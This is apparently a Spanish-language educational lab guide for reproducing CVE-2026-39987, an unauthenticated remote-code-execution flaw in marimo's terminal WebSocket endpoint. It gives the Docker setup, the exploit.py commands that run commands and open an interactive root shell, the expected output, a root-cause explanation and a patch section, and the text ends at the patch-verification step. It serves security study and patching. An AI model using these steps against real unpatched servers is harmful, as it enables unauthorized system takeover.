
# Laboratorio educativo de Docker que demuestra CVE-2026-39987, un RCE sin autenticación previa mediante la omisión de autenticación WebSocket en marimo, con script de explotación y pasos de verificación del parche.
Ejecución Remota de Código Pre-Autenticación mediante Bypass de Autenticación en WebSocket de Terminal
Un laboratorio Docker educativo para comprender, reproducir y parchear esta vulnerabilidad crítica en marimo.
| Objetivo | marimo <= 0.20.4 ejecutándose en modo edit con autenticación por token habilitada |
| Atacante | Cualquier host con Python 3 y websocket-client |
| Objetivo del ataque | Obtener un shell root interactivo a través de /terminal/ws sin proporcionar un token de autenticación |
| Tipo | Bypass de Autenticación → Ejecución Remota de Código (RCE) |
| Parche | marimo >= 0.23.0 |
⚠️ Solo para Uso Ético: Este laboratorio está diseñado para investigadores de seguridad, desarrolladores y estudiantes para comprender cómo ocurren las vulnerabilidades de bypass de autenticación y cómo corregirlas adecuadamente. Ejecutar únicamente en entornos aislados.
┌─────────────────────────────────────────────────────────────┐
│ Docker Network │
│ (cve-lab) │
│ │
│ ┌──────────────────────┐ ┌──────────────────────┐ │
│ │ marimo-vulnerable │ │ marimo-attacker │ │
│ │ (Target) │ │ (Attacker) │ │
│ │ Port: 2718 │ │ Python 3.12 │ │
│ │ Auth: Token │◄─────│ exploit.py │ │
│ │ marimo: 0.20.4 │ │ │ │
│ └──────────────────────┘ └──────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘
Archivos en este laboratorio:
| Archivo | Propósito |
|---|---|
Dockerfile.target | Construye el servidor marimo vulnerable |
docker-compose.yml | Orquesta los contenedores objetivo y atacante |
exploit.py | Script de exploit PoC (comando único + modo interactivo) |
LAB_GUIDE.md | Esta guía |
# Clonar el repositorio
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab
# Iniciar el laboratorio
docker-compose up --build -d
# Ejecutar el exploit
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
# Obtener un shell interactivo
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
# Crear un directorio de trabajo y colocar estos archivos dentro:
# - docker-compose.yml
# - Dockerfile.target
# - exploit.py
# Construir e iniciar el objetivo
docker-compose up --build -d
# Verificar que el objetivo está en ejecución
docker ps
# Deberías ver: marimo-vulnerable Up 0.0.0.0:2718->2718/tcp
Qué sucede:
0.20.4 (versión vulnerable)edit con autenticación --token explícitamente habilitada2718 está expuesto a tu hostAntes de explotar, verifiquemos que el objetivo está correctamente protegido en los endpoints legítimos:
# Intentar abrir la interfaz principal en un navegador o mediante curl
curl -s http://127.0.0.1:2718/
# Esperado: Redirección a la página de inicio de sesión o 401/403 (token requerido)
# Intentar el WebSocket principal (/ws) sin un token
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# Esperado: Conexión rechazada o cerrada inmediatamente debido a la falta de autenticación
Observación Clave: Los endpoints principales de la aplicación aplican correctamente la autenticación. La vulnerabilidad reside en un endpoint secundario que fue pasado por alto.
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
Salida esperada:
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
Obtendrás un prompt $ donde puedes ejecutar comandos arbitrarios del sistema:
[+] Got interactive shell! Type 'exit' to quit.
$ ls -la /
total 56
drwxr-xr-x 1 root root 4096 Jan 1 00:00 .
drwxr-xr-x 1 root root 4096 Jan 1 00:00 ..
...
$ exit
[*] Connection closed.
La vulnerabilidad existe debido a una verificación de autenticación inconsistente entre los endpoints WebSocket:
┌─────────────────────────────────────────────────────────────────┐
│ Authentication Middleware (Starlette) │
│ ├── Marks unauthenticated connections as "UnauthenticatedUser" │
│ └── Does NOT automatically close WebSocket connections │
└─────────────────────────────────────────────────────────────────┘
│
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────┐ ┌──────────────────┐
│ /ws (Main) │ │ /terminal/ws │
│ │ │ (Terminal) │
│ ✓ validate_auth()│ │ ✗ NO auth check │
│ ✓ @requires("edit")│ │ ✓ SessionMode.EDIT│
│ │ │ ✓ supports_terminal()│
│ Rejects unauth │ │ ✓ Accepts immediately│
└──────────────────┘ └──────────────────┘
Middleware de autenticación (Starlette AuthenticationMiddleware) marca las conexiones no autenticadas como UnauthenticatedUser pero no cierra las conexiones WebSocket automáticamente.
Endpoints correctos (por ejemplo, /ws) llaman a validate_auth() o usan @requires("edit"), rechazando a los clientes no autenticados.
Endpoint vulnerable (/terminal/ws) solo verifica:
SessionMode.EDIT — asegura que el servidor esté en modo ediciónsupports_terminal() — asegura que la función de terminal esté disponibleawait websocket.accept() sin ninguna verificación de autenticación.Impacto: pty.fork() genera un shell PTY completo que se ejecuta como el usuario del servidor (root en la imagen Docker predeterminada), otorgando al atacante acceso completo al sistema.
El parche añade una validación de autenticación adecuada al endpoint /terminal/ws, asegurando que coincida con la postura de seguridad de los demás endpoints.
Actualiza el objetivo a la versión parcheada y vuelve a ejecutar el exploit para confirmar la corrección: